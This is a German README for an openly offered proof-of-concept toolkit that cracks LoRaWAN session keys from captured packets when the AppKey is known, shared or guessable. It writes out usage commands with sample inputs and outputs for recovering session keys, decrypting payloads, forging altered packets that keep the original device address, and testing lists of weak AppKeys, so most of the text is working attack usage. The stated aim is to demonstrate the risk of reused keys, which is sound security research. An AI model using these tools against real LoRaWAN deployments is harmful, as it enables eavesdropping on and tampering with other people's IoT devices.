
LoRaWAN-Session-Cracker – Ein PoC zur Ausnutzung schwacher oder gemeinsam genutzter Application Keys
Erstellt von Sipke Mellema von Applied Risk
Dies ist ein Proof-of-Concept zur Demonstration der Gefahren, wenn derselbe AppKey auf mehreren LoRaWAN-Knoten verwendet wird.
Dieses Repository enthält eine Toolbox zum Knacken von LoRaWAN-Session-Keys aus erfassten Paketen. Das Angriffsszenario geht davon aus, dass Sie den AppKey kennen, aber den Handshake verpasst haben. Oder der AppKey ist nicht zufällig und kann erraten werden.
LoRa-Handshakes verwenden drei Werte zur Generierung der Session-Keys:
AppNonce | NetID | DevNonce
AppNonce und NetID sind 3 Bytes, und DevNonce ist 2 Bytes. Ein Teil der NetID ist bekannt, sodass eine Entropie von 57 Bit verbleibt. Und aufgrund von Implementierungsfehlern kann dieser Wert noch deutlich niedriger liegen.
Einfach make ausführen. Beachten Sie, dass Sie möglicherweise im Makefile auf einen openssl 1.0.*-Pfad verlinken müssen.
./loracrack -k <AppKey in hex> -p <raw_packet in hex>
Knackt Session-Keys, wenn der Handshake (join-accept) verpasst wurde, der AppKey aber bekannt ist. Das Knacken erfolgt durch Generieren der Session-Keys und Prüfen des MIC.
$ ./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
Optionale Argumente:
-t Threads
-v verbose (0, 1 oder 2)
-m maximales AppNonce
./loracrack_knownpt -k <AppKey in hex> -p <raw_packet in hex> -d <plain_text in hex>
Knackt Session-Keys, wenn der Handshake (join-accept) verpasst wurde, aber AppKey und Klartext bekannt sind. Das Knacken erfolgt durch Entschlüsseln der FRMPayload und Prüfen des Klartexts. Dies ist schneller als die MIC-Prüfung, da der CMAC mehr AES-Operationen verwendet.
$ ./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
Optionale Argumente:
-t Threads
-v verbose (0, 1 oder 2)
-m maximales AppNonce
./loracrack_decrypt -k <decrypt key in hex> -p <raw_packet in hex>
Entschlüsselt Paketdaten, wenn der Session-Key bekannt ist.
$ ./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57
30.32
./loracrack_alterpacket -p <raw_packet in hex> -a <AppSKey in hex> -n <NwkSKey in hex> -c <Fctn> -d <new data in hex>
Verändert Pakete mit neuen Daten und behält alte Werte wie DeviceAddr bei.
$ ./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332
400267bd018005000142d9f78c521c78573b
./loracrack_genkeys -k <AppKey in hex> -j <join_packet in hex> -a <accept_packet in hex>
Generiert Session-Keys anhand des Handshakes (join- und accept-Pakete) und des AppKeys.
$ ./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35
4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19
./loracrack_guessjoin -p <raw_packet in hex> -f <file with AppKeys in hex>
Prüft, ob vorhersagbare AppKeys verwendet werden, indem der MIC eines join-Pakets geprüft wird. Die AppKeys werden aus einer Datei mit hex-kodierten AppKeys gelesen, jeweils einer pro Zeile.
$ ./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys
88888888888888888888888888888888